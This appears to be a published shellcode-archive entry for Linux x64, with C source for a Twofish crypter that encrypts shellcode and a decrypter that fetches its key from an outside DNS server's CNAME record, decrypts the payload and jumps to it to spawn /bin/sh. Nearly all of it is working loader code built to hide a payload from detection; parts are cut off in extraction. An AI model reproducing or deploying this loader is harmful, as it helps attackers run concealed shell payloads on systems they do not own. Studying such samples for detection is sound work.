Linux/x64 - Twofish Encoded + DNS (CNAME) Password + execve(/bin/sh) Shellcode

Properties

Published:
05.02.2018
Target:
Linux/x64

Code

/*----- Crypter.c ----- */
 
/* 
   Optimized Twofish C implementation by Drew Csillag: https://www.schneier.com/code/twofish-cpy.zip
   Partially re-written by Andre Lima (https://andrelima.info) to encrypt/decrypt variable length Linux x86_64 shellcode.
    
   compiler is gcc(egcs-2.91.66)
   flags are -O3 -fomit-frame-pointer -Wall 
   Processor is 233Mhz Pentium II (Deschutes)
   OS is Linux 2.2.16
*/
 
#include 
#include 
#include 
#include 
#include "tables.h"
#define u32 unsigned int
#define BYTE unsigned char
#define RS_MOD 0x14D
#define RHO 0x01010101L
 
/* 
   gcc is smart enough to convert these to roll instructions.  If you want
   to see for yourself, either do gcc -O3 -S, or change the |'s to +'s and 
   see how slow things get (you lose about 30-50 clocks) :).
*/
#define ROL(x,n) (((x) << ((n) & 0x1F)) | ((x) >> (32-((n) & 0x1F))))
#define ROR(x,n) (((x) >> ((n) & 0x1F)) | ((x) << (32-((n) & 0x1F))))
 
#if BIG_ENDIAN == 1
#define BSWAP(x) (((ROR(x,8) & 0xFF00FF00) | (ROL(x,8) & 0x00FF00FF)))
#else
#define BSWAP(x) (x)
#endif
 
#define _b(x, N) (((x) >> (N*8)) & 0xFF)
 
/* just casting to byte (instead of masking with 0xFF saves *tons* of clocks 
   (around 50) */
#define b0(x) ((BYTE)(x))
/* this saved 10 clocks */
#define b1(x) ((BYTE)((x) >> 8))
/* use byte cast here saves around 10 clocks */
#define b2(x) (BYTE)((x) >> 16)
/* don't need to mask since all bits are in lower 8 - byte cast here saves
   nothing, but hey, what the hell, it doesn't hurt any */
#define b3(x) (BYTE)((x) >> 24)  
 
#define BYTEARRAY_TO_U32(r) ((r[0] << 24) ^ (r[1] << 16) ^ (r[2] << 8) ^ r[3])
#define BYTES_TO_U32(r0, r1, r2, r3) ((r0 << 24) ^ (r1 << 16) ^ (r2 << 8) ^ r3)
 
void printSubkeys(u32 K[40])
{
    int i;
    printf("round subkeys\n");
    for (i=0;i<40;i+=2)
    printf("%08X %08X\n", K[i], K[i+1]);
}
 
/* 
   multiply two polynomials represented as u32's, actually called with BYTES,
   but since I'm not really going to too much work to optimize key setup (since
   raw encryption speed is what I'm after), big deal.
*/
u32 polyMult(u32 a, u32 b)
{
    u32 t=0;
    while (a)
    {
    /*printf("A=%X  B=%X  T=%X\n", a, b, t);*/
    if (a&1) t^=b;
    b <<= 1;
    a >>= 1;
    }
    return t;
}
         
/* take the polynomial t and return the t % modulus in GF(256) */
u32 gfMod(u32 t, u32 modulus)
{
    int i;
    u32 tt;
 
    modulus <<= 7;
    for (i = 0; i < 8; i++)
    {
    tt = t ^ modulus;
    if (tt < t) t = tt;
    modulus >>= 1;
    }
    return t;
}
 
/*multiply a and b and return the modulus */
#define gfMult(a, b, modulus) gfMod(polyMult(a, b), modulus)
 
/* return a u32 containing the result of multiplying the RS Code matrix
   by the sd matrix
*/
u32 RSMatrixMultiply(BYTE sd[8])
{
    int j, k;
    BYTE t;
    BYTE result[4];
 
    for (j = 0; j < 4; j++)
    {
    t = 0;
    for (k = 0; k < 8; k++)
    {
        /*printf("t=%X  %X\n", t, gfMult(RS[j][k], sd[k], RS_MOD));*/
        t ^= gfMult(RS[j][k], sd[k], RS_MOD);
    }
    result[3-j] = t;
    }
    return BYTEARRAY_TO_U32(result);
}
 
/* the Zero-keyed h function (used by the key setup routine) */
u32 h(u32 X, u32 L[4], int k)
{
    BYTE y0, y1, y2, y3;
    BYTE z0, z1, z2, z3;
    y0 = b0(X);
    y1 = b1(X);
    y2 = b2(X);
    y3 = b3(X);
 
    switch(k)
    {
    case 4:
        y0 = Q1[y0] ^ b0(L[3]);
        y1 = Q0[y1] ^ b1(L[3]);
        y2 = Q0[y2] ^ b2(L[3]);
        y3 = Q1[y3] ^ b3(L[3]);
    case 3:
        y0 = Q1[y0] ^ b0(L[2]);
        y1 = Q1[y1] ^ b1(L[2]);
        y2 = Q0[y2] ^ b2(L[2]);
        y3 = Q0[y3] ^ b3(L[2]);
    case 2:
        y0 = Q1[  Q0 [ Q0[y0] ^ b0(L[1]) ] ^ b0(L[0]) ];
        y1 = Q0[  Q0 [ Q1[y1] ^ b1(L[1]) ] ^ b1(L[0]) ];
        y2 = Q1[  Q1 [ Q0[y2] ^ b2(L[1]) ] ^ b2(L[0]) ];
        y3 = Q0[  Q1 [ Q1[y3] ^ b3(L[1]) ] ^ b3(L[0]) ];
    }
 
    /* inline the MDS matrix multiply */
    z0 = multEF[y0] ^ y1 ^         multEF[y2] ^ mult5B[y3]; 
    z1 = multEF[y0] ^ mult5B[y1] ^ y2 ^         multEF[y3]; 
    z2 = mult5B[y0] ^ multEF[y1] ^ multEF[y2] ^ y3; 
    z3 = y0 ^         multEF[y1] ^ mult5B[y2] ^ mult5B[y3]; 
 
    return BYTES_TO_U32(z0, z1, z2, z3);
}
 
/* given the Sbox keys, create the fully keyed QF */
void fullKey(u32 L[4], int k, u32 QF[4][256])
{
    BYTE y0, y1, y2, y3;
 
    int i;
     
    /* for all input values to the Q permutations */
    for (i=0; i<256; i++)
    {
    /* run the Q permutations */
    y0 = i; y1=i; y2=i; y3=i;
    switch(k)
        {
            case 4:
            y0 = Q1[y0] ^ b0(L[3]);
            y1 = Q0[y1] ^ b1(L[3]);
            y2 = Q0[y2] ^ b2(L[3]);
            y3 = Q1[y3] ^ b3(L[3]);
            case 3:
            y0 = Q1[y0] ^ b0(L[2]);
            y1 = Q1[y1] ^ b1(L[2]);
            y2 = Q0[y2] ^ b2(L[2]);
            y3 = Q0[y3] ^ b3(L[2]);
            case 2:
            y0 = Q1[  Q0 [ Q0[y0] ^ b0(L[1]) ] ^ b0(L[0]) ];
            y1 = Q0[  Q0 [ Q1[y1] ^ b1(L[1]) ] ^ b1(L[0]) ];
            y2 = Q1[  Q1 [ Q0[y2] ^ b2(L[1]) ] ^ b2(L[0]) ];
            y3 = Q0[  Q1 [ Q1[y3] ^ b3(L[1]) ] ^ b3(L[0]) ];
        }
     
    /* now do the partial MDS matrix multiplies */
    QF[0][i] = ((multEF[y0] << 24) 
            | (multEF[y0] << 16) 
            | (mult5B[y0] << 8)
            | y0);
    QF[1][i] = ((y1 << 24) 
            | (mult5B[y1] << 16) 
            | (multEF[y1] << 8)
            | multEF[y1]);
    QF[2][i] = ((multEF[y2] << 24) 
            | (y2 << 16) 
            | (multEF[y2] << 8)
            | mult5B[y2]);
    QF[3][i] = ((mult5B[y3] << 24) 
            | (multEF[y3] << 16)
            | (y3 << 8) 
            | mult5B[y3]);
    }
}
 
/* fully keyed h (aka g) function */
#define fkh(X) (S[0][b0(X)]^S[1][b1(X)]^S[2][b2(X)]^S[3][b3(X)])
 
/* one encryption round */
#define ENC_ROUND(R0, R1, R2, R3, round) \
    T0 = fkh(R0); \
    T1 = fkh(ROL(R1, 8)); \
    R2 = ROR(R2 ^ (T1 + T0 + K[2*round+8]), 1); \
    R3 = ROL(R3, 1) ^ (2*T1 + T0 + K[2*round+9]); 
 
inline void encrypt(u32 K[40], u32 S[4][256], BYTE PT[16])
{
    u32 R0, R1, R2, R3;
    u32 T0, T1;
 
    /* load/byteswap/whiten input */
    R3 = K[3] ^ BSWAP(((u32*)PT)[3]);
    R2 = K[2] ^ BSWAP(((u32*)PT)[2]);
    R1 = K[1] ^ BSWAP(((u32*)PT)[1]);
    R0 = K[0] ^ BSWAP(((u32*)PT)[0]);
 
    ENC_ROUND(R0, R1, R2, R3, 0);
    ENC_ROUND(R2, R3, R0, R1, 1);
    ENC_ROUND(R0, R1, R2, R3, 2);
    ENC_ROUND(R2, R3, R0, R1, 3);
    ENC_ROUND(R0, R1, R2, R3, 4);
    ENC_ROUND(R2, R3, R0, R1, 5);
    ENC_ROUND(R0, R1, R2, R3, 6);
    ENC_ROUND(R2, R3, R0, R1, 7);
    ENC_ROUND(R0, R1, R2, R3, 8);
    ENC_ROUND(R2, R3, R0, R1, 9);
    ENC_ROUND(R0, R1, R2, R3, 10);
    ENC_ROUND(R2, R3, R0, R1, 11);
    ENC_ROUND(R0, R1, R2, R3, 12);
    ENC_ROUND(R2, R3, R0, R1, 13);
    ENC_ROUND(R0, R1, R2, R3, 14);
    ENC_ROUND(R2, R3, R0, R1, 15);
 
    /* load/byteswap/whiten output */
    ((u32*)PT)[3] = BSWAP(R1 ^ K[7]);
    ((u32*)PT)[2] = BSWAP(R0 ^ K[6]);
    ((u32*)PT)[1] = BSWAP(R3 ^ K[5]);
    ((u32*)PT)[0] = BSWAP(R2 ^ K[4]);
}
 
/* one decryption round */
#define DEC_ROUND(R0, R1, R2, R3, round) \
    T0 = fkh(R0); \
    T1 = fkh(ROL(R1, 8)); \
    R2 = ROL(R2, 1) ^ (T0 + T1 + K[2*round+8]); \
    R3 = ROR(R3 ^ (T0 + 2*T1 + K[2*round+9]), 1); 
 
inline void decrypt(u32 K[40], u32 S[4][256], BYTE PT[16])
{
    u32 T0, T1;
    u32 R0, R1, R2, R3;
 
    /* load/byteswap/whiten input */
    R3 = K[7] ^ BSWAP(((u32*)PT)[3]);
    R2 = K[6] ^ BSWAP(((u32*)PT)[2]);
    R1 = K[5] ^ BSWAP(((u32*)PT)[1]);
    R0 = K[4] ^ BSWAP(((u32*)PT)[0]);
 
    DEC_ROUND(R0, R1, R2, R3, 15);
    DEC_ROUND(R2, R3, R0, R1, 14);
    DEC_ROUND(R0, R1, R2, R3, 13);
    DEC_ROUND(R2, R3, R0, R1, 12);
    DEC_ROUND(R0, R1, R2, R3, 11);
    DEC_ROUND(R2, R3, R0, R1, 10);
    DEC_ROUND(R0, R1, R2, R3, 9);
    DEC_ROUND(R2, R3, R0, R1, 8);
    DEC_ROUND(R0, R1, R2, R3, 7);
    DEC_ROUND(R2, R3, R0, R1, 6);
    DEC_ROUND(R0, R1, R2, R3, 5);
    DEC_ROUND(R2, R3, R0, R1, 4);
    DEC_ROUND(R0, R1, R2, R3, 3);
    DEC_ROUND(R2, R3, R0, R1, 2);
    DEC_ROUND(R0, R1, R2, R3, 1);
    DEC_ROUND(R2, R3, R0, R1, 0);
 
    /* load/byteswap/whiten output */
    ((u32*)PT)[3] = BSWAP(R1 ^ K[3]);
    ((u32*)PT)[2] = BSWAP(R0 ^ K[2]);
    ((u32*)PT)[1] = BSWAP(R3 ^ K[1]);
    ((u32*)PT)[0] = BSWAP(R2 ^ K[0]);
 
}
 
/* the key schedule routine */
void keySched(BYTE M[], int N, u32 **S, u32 K[40], int *k)
{
    u32 Mo[4], Me[4];
    int i, j;
    BYTE vector[8];
    u32 A, B;
 
    *k = (N + 63) / 64;
    *S = (u32*)malloc(sizeof(u32) * (*k));
 
    for (i = 0; i < *k; i++)
    {
    Me[i] = BSWAP(((u32*)M)[2*i]);
    Mo[i] = BSWAP(((u32*)M)[2*i+1]);
    }
 
    for (i = 0; i < *k; i++)
    {
    for (j = 0; j < 4; j++) vector[j] = _b(Me[i], j);
    for (j = 0; j < 4; j++) vector[j+4] = _b(Mo[i], j);
    (*S)[(*k)-i-1] = RSMatrixMultiply(vector);
    }
    for (i = 0; i < 20; i++)
    {
    A = h(2*i*RHO, Me, *k);
    B = ROL(h(2*i*RHO + RHO, Mo, *k), 8);
    K[2*i] = A+B;
    K[2*i+1] = ROL(A + 2*B, 9);
    }
}   
 
void printHex(BYTE b[], int lim)
{
    int i;
    for (i=0; i"); printHex(plaintext, 16); printf("\n");
        encrypt(K, QF, plaintext);
        //printf("after--->"); printHex(plaintext, 16); printf("\n");
        printHex(plaintext, 16);
    }
    printf("\n\n");
    return 0;
}
/*----- Crypter.c ----- */
 
/*----- Decrypter.c ----- */
/* 
   Optimized Twofish C implementation by Drew Csillag: https://www.schneier.com/code/twofish-cpy.zip
   Partially re-written by Andre Lima (https://andrelima.info) to encrypt/decrypt variable length Linux x86_64 shellcode.
    
   compiler is gcc(egcs-2.91.66)
   flags are -O3 -fomit-frame-pointer -Wall 
   Processor is 233Mhz Pentium II (Deschutes)
   OS is Linux 2.2.16
*/
 
#include 
#include 
#include 
#include "tables.h"
#include   //you know what this is for
#include    //inet_addr , inet_ntoa , ntohs etc
#include 
#include       //getpid
#define u32 unsigned int
#define BYTE unsigned char
#define RS_MOD 0x14D
#define RHO 0x01010101L
 
#define ROL(x,n) (((x) << ((n) & 0x1F)) | ((x) >> (32-((n) & 0x1F))))
#define ROR(x,n) (((x) >> ((n) & 0x1F)) | ((x) << (32-((n) & 0x1F))))
 
#if BIG_ENDIAN == 1
#define BSWAP(x) (((ROR(x,8) & 0xFF00FF00) | (ROL(x,8) & 0x00FF00FF)))
#else
#define BSWAP(x) (x)
#endif
 
#define _b(x, N) (((x) >> (N*8)) & 0xFF)
 
/* just casting to byte (instead of masking with 0xFF saves *tons* of clocks 
   (around 50) */
#define b0(x) ((BYTE)(x))
/* this saved 10 clocks */
#define b1(x) ((BYTE)((x) >> 8))
/* use byte cast here saves around 10 clocks */
#define b2(x) (BYTE)((x) >> 16)
/* don't need to mask since all bits are in lower 8 - byte cast here saves
   nothing, but hey, what the hell, it doesn't hurt any */
#define b3(x) (BYTE)((x) >> 24)  
 
#define BYTEARRAY_TO_U32(r) ((r[0] << 24) ^ (r[1] << 16) ^ (r[2] << 8) ^ r[3])
#define BYTES_TO_U32(r0, r1, r2, r3) ((r0 << 24) ^ (r1 << 16) ^ (r2 << 8) ^ r3)
 
void printSubkeys(u32 K[40])
{
    int i;
    printf("round subkeys\n");
    for (i=0;i<40;i+=2)
    printf("%08X %08X\n", K[i], K[i+1]);
}
 
/* 
   multiply two polynomials represented as u32's, actually called with BYTES,
   but since I'm not really going to too much work to optimize key setup (since
   raw encryption speed is what I'm after), big deal.
*/
u32 polyMult(u32 a, u32 b)
{
    u32 t=0;
    while (a)
    {
    /*printf("A=%X  B=%X  T=%X\n", a, b, t);*/
    if (a&1) t^=b;
    b <<= 1;
    a >>= 1;
    }
    return t;
}
         
/* take the polynomial t and return the t % modulus in GF(256) */
u32 gfMod(u32 t, u32 modulus)
{
    int i;
    u32 tt;
 
    modulus <<= 7;
    for (i = 0; i < 8; i++)
    {
    tt = t ^ modulus;
    if (tt < t) t = tt;
    modulus >>= 1;
    }
    return t;
}
 
/*multiply a and b and return the modulus */
#define gfMult(a, b, modulus) gfMod(polyMult(a, b), modulus)
 
/* return a u32 containing the result of multiplying the RS Code matrix
   by the sd matrix
*/
u32 RSMatrixMultiply(BYTE sd[8])
{
    int j, k;
    BYTE t;
    BYTE result[4];
 
    for (j = 0; j < 4; j++)
    {
    t = 0;
    for (k = 0; k < 8; k++)
    {
        /*printf("t=%X  %X\n", t, gfMult(RS[j][k], sd[k], RS_MOD));*/
        t ^= gfMult(RS[j][k], sd[k], RS_MOD);
    }
    result[3-j] = t;
    }
    return BYTEARRAY_TO_U32(result);
}
 
/* the Zero-keyed h function (used by the key setup routine) */
u32 h(u32 X, u32 L[4], int k)
{
    BYTE y0, y1, y2, y3;
    BYTE z0, z1, z2, z3;
    y0 = b0(X);
    y1 = b1(X);
    y2 = b2(X);
    y3 = b3(X);
 
    switch(k)
    {
    case 4:
        y0 = Q1[y0] ^ b0(L[3]);
        y1 = Q0[y1] ^ b1(L[3]);
        y2 = Q0[y2] ^ b2(L[3]);
        y3 = Q1[y3] ^ b3(L[3]);
    case 3:
        y0 = Q1[y0] ^ b0(L[2]);
        y1 = Q1[y1] ^ b1(L[2]);
        y2 = Q0[y2] ^ b2(L[2]);
        y3 = Q0[y3] ^ b3(L[2]);
    case 2:
        y0 = Q1[  Q0 [ Q0[y0] ^ b0(L[1]) ] ^ b0(L[0]) ];
        y1 = Q0[  Q0 [ Q1[y1] ^ b1(L[1]) ] ^ b1(L[0]) ];
        y2 = Q1[  Q1 [ Q0[y2] ^ b2(L[1]) ] ^ b2(L[0]) ];
        y3 = Q0[  Q1 [ Q1[y3] ^ b3(L[1]) ] ^ b3(L[0]) ];
    }
 
    /* inline the MDS matrix multiply */
    z0 = multEF[y0] ^ y1 ^         multEF[y2] ^ mult5B[y3]; 
    z1 = multEF[y0] ^ mult5B[y1] ^ y2 ^         multEF[y3]; 
    z2 = mult5B[y0] ^ multEF[y1] ^ multEF[y2] ^ y3; 
    z3 = y0 ^         multEF[y1] ^ mult5B[y2] ^ mult5B[y3]; 
 
    return BYTES_TO_U32(z0, z1, z2, z3);
}
 
/* given the Sbox keys, create the fully keyed QF */
void fullKey(u32 L[4], int k, u32 QF[4][256])
{
    BYTE y0, y1, y2, y3;
 
    int i;
     
    /* for all input values to the Q permutations */
    for (i=0; i<256; i++)
    {
    /* run the Q permutations */
    y0 = i; y1=i; y2=i; y3=i;
    switch(k)
        {
            case 4:
            y0 = Q1[y0] ^ b0(L[3]);
            y1 = Q0[y1] ^ b1(L[3]);
            y2 = Q0[y2] ^ b2(L[3]);
            y3 = Q1[y3] ^ b3(L[3]);
            case 3:
            y0 = Q1[y0] ^ b0(L[2]);
            y1 = Q1[y1] ^ b1(L[2]);
            y2 = Q0[y2] ^ b2(L[2]);
            y3 = Q0[y3] ^ b3(L[2]);
            case 2:
            y0 = Q1[  Q0 [ Q0[y0] ^ b0(L[1]) ] ^ b0(L[0]) ];
            y1 = Q0[  Q0 [ Q1[y1] ^ b1(L[1]) ] ^ b1(L[0]) ];
            y2 = Q1[  Q1 [ Q0[y2] ^ b2(L[1]) ] ^ b2(L[0]) ];
            y3 = Q0[  Q1 [ Q1[y3] ^ b3(L[1]) ] ^ b3(L[0]) ];
        }
     
    /* now do the partial MDS matrix multiplies */
    QF[0][i] = ((multEF[y0] << 24) 
            | (multEF[y0] << 16) 
            | (mult5B[y0] << 8)
            | y0);
    QF[1][i] = ((y1 << 24) 
            | (mult5B[y1] << 16) 
            | (multEF[y1] << 8)
            | multEF[y1]);
    QF[2][i] = ((multEF[y2] << 24) 
            | (y2 << 16) 
            | (multEF[y2] << 8)
            | mult5B[y2]);
    QF[3][i] = ((mult5B[y3] << 24) 
            | (multEF[y3] << 16)
            | (y3 << 8) 
            | mult5B[y3]);
    }
}
 
/* fully keyed h (aka g) function */
#define fkh(X) (S[0][b0(X)]^S[1][b1(X)]^S[2][b2(X)]^S[3][b3(X)])
 
/* one decryption round */
#define DEC_ROUND(R0, R1, R2, R3, round) \
    T0 = fkh(R0); \
    T1 = fkh(ROL(R1, 8)); \
    R2 = ROL(R2, 1) ^ (T0 + T1 + K[2*round+8]); \
    R3 = ROR(R3 ^ (T0 + 2*T1 + K[2*round+9]), 1); 
 
inline void decrypt(u32 K[40], u32 S[4][256], BYTE PT[16])
{
    u32 T0, T1;
    u32 R0, R1, R2, R3;
 
    /* load/byteswap/whiten input */
    R3 = K[7] ^ BSWAP(((u32*)PT)[3]);
    R2 = K[6] ^ BSWAP(((u32*)PT)[2]);
    R1 = K[5] ^ BSWAP(((u32*)PT)[1]);
    R0 = K[4] ^ BSWAP(((u32*)PT)[0]);
 
    DEC_ROUND(R0, R1, R2, R3, 15);
    DEC_ROUND(R2, R3, R0, R1, 14);
    DEC_ROUND(R0, R1, R2, R3, 13);
    DEC_ROUND(R2, R3, R0, R1, 12);
    DEC_ROUND(R0, R1, R2, R3, 11);
    DEC_ROUND(R2, R3, R0, R1, 10);
    DEC_ROUND(R0, R1, R2, R3, 9);
    DEC_ROUND(R2, R3, R0, R1, 8);
    DEC_ROUND(R0, R1, R2, R3, 7);
    DEC_ROUND(R2, R3, R0, R1, 6);
    DEC_ROUND(R0, R1, R2, R3, 5);
    DEC_ROUND(R2, R3, R0, R1, 4);
    DEC_ROUND(R0, R1, R2, R3, 3);
    DEC_ROUND(R2, R3, R0, R1, 2);
    DEC_ROUND(R0, R1, R2, R3, 1);
    DEC_ROUND(R2, R3, R0, R1, 0);
 
    /* load/byteswap/whiten output */
    ((u32*)PT)[3] = BSWAP(R1 ^ K[3]);
    ((u32*)PT)[2] = BSWAP(R0 ^ K[2]);
    ((u32*)PT)[1] = BSWAP(R3 ^ K[1]);
    ((u32*)PT)[0] = BSWAP(R2 ^ K[0]);
 
}
 
/* the key schedule routine */
void keySched(BYTE M[], int N, u32 **S, u32 K[40], int *k)
{
    u32 Mo[4], Me[4];
    int i, j;
    BYTE vector[8];
    u32 A, B;
 
    *k = (N + 63) / 64;
    *S = (u32*)malloc(sizeof(u32) * (*k));
 
    for (i = 0; i < *k; i++)
    {
    Me[i] = BSWAP(((u32*)M)[2*i]);
    Mo[i] = BSWAP(((u32*)M)[2*i+1]);
    }
 
    for (i = 0; i < *k; i++)
    {
    for (j = 0; j < 4; j++) vector[j] = _b(Me[i], j);
    for (j = 0; j < 4; j++) vector[j+4] = _b(Mo[i], j);
    (*S)[(*k)-i-1] = RSMatrixMultiply(vector);
    }
    for (i = 0; i < 20; i++)
    {
    A = h(2*i*RHO, Me, *k);
    B = ROL(h(2*i*RHO + RHO, Mo, *k), 8);
    K[2*i] = A+B;
    K[2*i+1] = ROL(A + 2*B, 9);
    }
}   
 
void printHex(BYTE b[], int lim)
{
    int i;
    for (i=0; i"); printHex(plaintext, 16); printf("\n");
        decrypt(K, QF, plaintext);
        //printf("after--->"); printHex(plaintext, 16); printf("\n");
        printHex(plaintext, 16);
        memcpy(&shellcode[i], plaintext, 16);
        i += 16;
    }
    printf("\n");
    ret();
    return 0;
}
 
/*
 * Perform a DNS query by sending a packet
 * */
char* ngethostbyname(unsigned char *host , int query_type)
{
    unsigned char buf[65536],*qname,*reader;
    int i , j , stop , s;
    char* password; password = NULL;
  
    struct sockaddr_in a;
  
    struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
    struct sockaddr_in dest;
  
    struct DNS_HEADER *dns = NULL;
    struct QUESTION *qinfo = NULL;
  
    printf("\nResolving %s" , host);
  
    s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries
  
    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr(dns_server); //dns servers
  
    //Set the DNS structure to standard queries
    dns = (struct DNS_HEADER *)&buf;
  
    dns->id = (unsigned short) htons(getpid());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->rcode = 0;
    dns->q_count = htons(1); //we have only 1 question
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = 0;
  
    //point to the query portion
    qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];
  
    ChangetoDnsNameFormat(qname , host);
    qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it
  
    qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
    qinfo->qclass = htons(1); //its internet (lol)
  
    printf("\nSending Packet...");
    if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
    {
        perror("sendto failed");
    }
    printf("Done");
      
    //Receive the answer
    i = sizeof dest;
    printf("\nReceiving answer...");
    if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
    {
        perror("recvfrom failed");
    }
    printf("Done");
  
    dns = (struct DNS_HEADER*) buf;
  
    //move ahead of the dns header and the query field
    reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];
  
    printf("\nThe response contains : ");
    printf("\n %d Questions.",ntohs(dns->q_count));
    printf("\n %d Answers.",ntohs(dns->ans_count));
    printf("\n %d Authoritative Servers.",ntohs(dns->auth_count));
    printf("\n %d Additional records.\n\n",ntohs(dns->add_count));
  
    //Start reading answers
    stop=0;
  
    for(i=0;ians_count);i++)
    {
        answers[i].name=ReadName(reader,buf,&stop);
        reader = reader + stop;
  
        answers[i].resource = (struct R_DATA*)(reader);
        reader = reader + sizeof(struct R_DATA);
  
        if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
        {
            answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));
  
            for(j=0 ; jdata_len) ; j++)
            {
                answers[i].rdata[j]=reader[j];
            }
  
            answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0';
  
            reader = reader + ntohs(answers[i].resource->data_len);
        }
        else
        {
            answers[i].rdata = ReadName(reader,buf,&stop);
            reader = reader + stop;
        }
    }
  
    //read authorities
    for(i=0;iauth_count);i++)
    {
        auth[i].name=ReadName(reader,buf,&stop);
        reader+=stop;
  
        auth[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);
  
        auth[i].rdata=ReadName(reader,buf,&stop);
        reader+=stop;
    }
  
    //read additional
    for(i=0;iadd_count);i++)
    {
        addit[i].name=ReadName(reader,buf,&stop);
        reader+=stop;
  
        addit[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);
  
        if(ntohs(addit[i].resource->type)==1)
        {
            addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
            for(j=0;jdata_len);j++)
            addit[i].rdata[j]=reader[j];
  
            addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0';
            reader+=ntohs(addit[i].resource->data_len);
        }
        else
        {
            addit[i].rdata=ReadName(reader,buf,&stop);
            reader+=stop;
        }
    }
  
    //print answers
    printf("Answer Records : %d \n" , ntohs(dns->ans_count) );
    for(i=0 ; i < ntohs(dns->ans_count) ; i++)
    {
        printf("Name : %s ",answers[i].name);
  
        if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
        {
            long *p;
            p=(long*)answers[i].rdata;
            a.sin_addr.s_addr=(*p); //working without ntohl
            printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
        }
          
        if(ntohs(answers[i].resource->type)==5) 
        {
            //Canonical name for an alias
            printf("has alias name : %s",answers[i].rdata);
            password = (char*)malloc(strlen((char*)answers[i].rdata));
            strcpy(password,(char*)answers[i].rdata);
        }
  
        printf("\n");
    }
  
    //print authorities
    printf("Authoritive Records : %d \n" , ntohs(dns->auth_count) );
    for( i=0 ; i < ntohs(dns->auth_count) ; i++)
    {
          
        printf("Name : %s ",auth[i].name);
        if(ntohs(auth[i].resource->type)==2)
        {
            printf("has nameserver : %s",auth[i].rdata);
        }
        printf("\n");
    }
  
    //print additional resource records
    printf("Additional Records : %d \n" , ntohs(dns->add_count) );
    for(i=0; i < ntohs(dns->add_count) ; i++)
    {
        printf("Name : %s ",addit[i].name);
        if(ntohs(addit[i].resource->type)==1)
        {
            long *p;
            p=(long*)addit[i].rdata;
            a.sin_addr.s_addr=(*p);
            printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
        }
        printf("\n");
    }
    return password;
}
  
/*
 * 
 * */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
    unsigned char *name;
    unsigned int p=0,jumped=0,offset;
    int i , j;
  
    *count = 1;
    name = (unsigned char*)malloc(256);
  
    name[0]='\0';
  
    //read the names in 3www6google3com format
    while(*reader!=0)
    {
        if(*reader>=192)
        {
            offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
            reader = buffer + offset - 1;
            jumped = 1; //we have jumped to another location so counting wont go up!
        }
        else
        {
            name[p++]=*reader;
        }
  
        reader = reader+1;
  
        if(jumped==0)
        {
            *count = *count + 1; //if we havent jumped to another location then we can count up
        }
    }
  
    name[p]='\0'; //string complete
    if(jumped==1)
    {
        *count = *count + 1; //number of steps we actually moved forward in the packet
    }
  
    //now convert 3www6google3com0 to www.google.com
    for(i=0;i<(int)strlen((const char*)name);i++) 
    {
        p=name[i];
        for(j=0;j<(int)p;j++) 
        {
            name[i]=name[i+1];
            i=i+1;
        }
        name[i]='.';
    }
    name[i-1]='\0'; //remove the last dot
    return name;
}
  
/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");
      
    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock